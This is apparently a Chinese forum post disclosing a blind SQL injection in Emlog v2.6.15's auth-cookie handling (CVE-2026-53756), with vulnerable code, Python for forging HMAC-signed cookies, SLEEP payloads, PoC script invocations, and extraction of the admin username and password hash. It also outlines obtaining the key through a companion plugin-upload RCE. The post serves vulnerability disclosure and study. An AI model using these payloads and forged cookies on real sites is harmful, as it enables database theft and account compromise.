文号
951494
阅读
101
回复
0
收藏
0
0day漏洞挖掘:Emlog v2.6.15 通过认证Cookie的盲注SQL注入(CVE-2026-53756)
Y FH
2026/08/05
IP:广东
摘要:Emlog CMS Pro 在User_Model::getUserDataByLogin()函数中存在时间盲 SQL 注入漏洞。函数直接将$account参数拼接进 SQL 语句,未做任何过滤净化。 漏洞触发入口为身份认证 Cookie 校验逻辑:程序从 Cookie 中提取用户名$username后,未经过滤直接带入 SQL 查询;访问数据库前仅有 HMAC 签名校验防护,攻击者必须获取服务端密钥AUTH_KEY才能伪造合法签名实现注入。

EMLOG 是一款轻量级开源博客和CMS建站系统

今天给大家带来Emlog v2.6.15的代码审计,记录从审计到发现SQL注入复现的全过程。

1. 漏洞根源代码

文件路径:include/model/user_model.php 87–97 行

```php

public function getUserDataByLogin($account)

{

// $account is directly interpolated — no sanitization whatsoever

$ret = $this->db->once_fetch_array(

"SELECT * FROM " . DB_PREFIX . "user WHERE username = '$account'"

);

if (!$ret) {

$ret = $this->db->once_fetch_array(

"SELECT * FROM " . DB_PREFIX . "user WHERE email = '$account'"

);

}

}

```

问题:外部可控参数$account直接使用单引号拼接 SQL,未转义、未使用预编译语句,存在标准 SQL 注入风险。

2. 两条代码调用路径,仅路径 B 可被利用

路径

触发入口

输入过滤逻辑

是否可利用

A 登录表单

POST /admin/account.php?action=dosignin

Input::postStrVar() → addslashes()

❌ 单双引号已转义,无法注入

B 认证 Cookie

任意 POST 请求,携带 EM_AUTHCOOKIE_xxx Cookie 参数

无任何过滤;执行 SQL 前仅 HMAC 签名校验

⚠️ 需要获取 AUTH_KEY 密钥才可利用

3. 路径 B:认证 Cookie 注入完整流程

文件路径:include/lib/loginauth.php 115–148 行

public static function validateAuthCookie($cookie = '')

{

$cookie_elements = explode('|', $cookie);

list($username, $expiration, $hmac) = $cookie_elements; // $username 原始未过滤

// 先执行HMAC签名校验,校验失败直接退出,无法进入SQL查询

$key = self::emHash($username . '|' . $expiration);

$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

if ($hmac !== $hash) return false;

$userData = self::getUserDataByLogin($username); // 注入点:未过滤用户名带入SQL

}

服务端 HMAC 签名算法(攻击者本地复现需要 AUTH_KEY)

```python

data = f"{username}|{expiration}".encode()

key = hmac.new(AUTH_KEY, data, hashlib.md5).hexdigest()

hmac = hmac.new(key.encode(), data, hashlib.md5).hexdigest()

cookie = f"{username}|{expiration}|{hmac}"

```

4. 为什么必须伪造 HMAC 签名、原理说明

Cookie 固定格式:用户名|过期时间|HMAC签名

签名是对用户名|过期时间两段内容做 MD5-HMAC 运算生成,存在两点限制:

  1. 正常登录 Cookie 无法篡改注入

    正常登录 Cookie 示例:test@test.com|9999999999|原始签名

    如果直接修改用户名添加注入载荷:test@test.com' OR SLEEP(5)#|9999999999|原始签名

    签名内容和原始数据不匹配,服务端校验直接失败,无法进入 SQL 逻辑。

  2. 登录表单被 addslashes 防护

    登录提交账号时会执行addslashes()转义所有单 / 双引号,无法提交闭合 SQL 的特殊字符,表单通道彻底无法注入。

核心利用条件:持有 AUTH_KEY 攻击者拿到密钥后,可在本地对任意注入载荷计算合法 HMAC 签名,构造能通过服务端校验的恶意 Cookie:

```python

# 使用已知AUTH_KEY,为任意SQL注入载荷生成合法签名

data = f"{注入载荷}|{过期时间}".encode()

key = hmac.new(AUTH_KEY, data, hashlib.md5).hexdigest()

hash = hmac.new(key.encode(), data, hashlib.md5).hexdigest()

# 构造可通过校验的伪造Cookie

cookie = f"{注入载荷}|{过期时间}|{hash}"

```

5. 获取 AUTH_KEY 的权限逻辑

AUTH_KEY是定义在config.php中的 PHP 常量,网页无法直接访问读取。

Emlog 权限体系:

  • uid=1 创始人账号:可批量创建多个管理员账号

  • 所有role=admin管理员账号均拥有完整插件上传权限

    攻击链:攻陷任意管理员账号 → 利用配套 RCE 漏洞上传恶意插件 → 读取 config.php 拿到 AUTH_KEY

    创始人创建的所有管理员账号都会扩大攻击面,只要任一管理员账号泄露,即可完整打通攻击链路(RCE 获取密钥→SQL 注入拖库)。


恶意 Cookie 完整执行链路示例:

Cookie 内容:admin' AND SLEEP(3)#|9999999999|伪造合法签名

  1. 程序按|分割字符串,$username = "admin' AND SLEEP(3)#",无过滤;

  2. HMAC 校验通过(攻击者持有密钥);

  3. 调用getUserDataByLogin拼接 SQL:

    SELECT * FROM emlog_user WHERE username = 'admin' AND SLEEP(3)#'

    触发时间盲 SQL 注入,页面延迟 3 秒返回。

6. 利用前置条件对照表

参数

存储位置

获取方式

AUTH_COOKIE_NAME

用户登录响应 Set-Cookie 头

网站任意注册用户登录即可捕获,全站固定

AUTH_KEY

服务端 config.php

管理员账号利用配套 RCE 上传木马读取

四、漏洞验证 POC

环境配置:

Emlog CMS Pro、PHP7.3 及以上、MySQL5.7 及以上、Nginx/Apache

步骤 1:通过配套 RCE 漏洞读取密钥
python get_key.py http://目标站点/ 管理员账号 管理员密码

# 程序输出结果示例

# AUTH_KEY = $P$Br.Fzr9wAhzmTTgxxtvC6dCc0L7ycI.

# AUTH_COOKIE_NAME = EM_AUTHCOOKIE_9ed8de34339916b4fe2bac8536b2f562fa830633

步骤 2:延时注入验证(SLEEP 时间盲注)

python sqli_reproduce.py http://目标站点/ \

'$P$Br.Fzr9wAhzmTTgxxtvC6dCc0L7ycI.' \

EM_AUTHCOOKIE_9ed8de34339916b4fe2bac8536b2f562fa830633

# 输出延时对比

[1] 正常用户admin基准响应:0.11秒

[2] 载荷 admin' AND SLEEP(3):3.11秒(注入触发成功)

[3] 载荷 不存在用户' OR SLEEP(5):10.12秒(函数执行两次查询,延时5*2)

步骤 3:HTTP 请求对比

# 正常请求(响应200ms)

POST /

Cookie: EM_AUTHCOOKIE_xxx=admin|9999999999|正常签名

# 注入请求(响应3.2秒)

POST /

Cookie: EM_AUTHCOOKIE_xxx=admin' AND SLEEP(3) AND '1'='1|9999999999|伪造签名

步骤 4:二分法盲注提取数据库数据

python exp.py --url http://目标站点/ --key '密钥' --cookie-name 'Cookie名称' --verify-only

利用ASCII(SUBSTRING(查询语句,字符位置,1)) > 数字 AND SLEEP(1)二分逐字符猜解,可读取任意数据库数据:

查询语句

提取结果

SELECT DATABASE()

cs(当前数据库名)

SELECT USER()

XXXXXXXXXXXXXXXXXXXXX

SELECT username FROM emlog_user WHERE uid=1

admin

SELECT SUBSTRING(password,1,20) FROM emlog_user WHERE uid=1

PBfP/WdSH3TSeNWPig...

可完整导出全部用户账号密码哈希。

image.jpg

image.jpg

该漏洞已提交Github并分配CVE编号为:CVE-2026-53756

原文地址:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

image.jpg


笔记
{{note.content}}
{{n.user.username}}
{{fromNow(n.toc)}} {{n.status === noteStatus.disabled ? "已屏蔽" : ""}} {{n.status === noteStatus.unknown ? "正在审核" : ""}} {{n.status === noteStatus.deleted ? '已删除' : ''}}
  • 编辑
  • 删除
  • {{n.status === 'disabled' ? "解除屏蔽" : "屏蔽" }}
我也是有底线的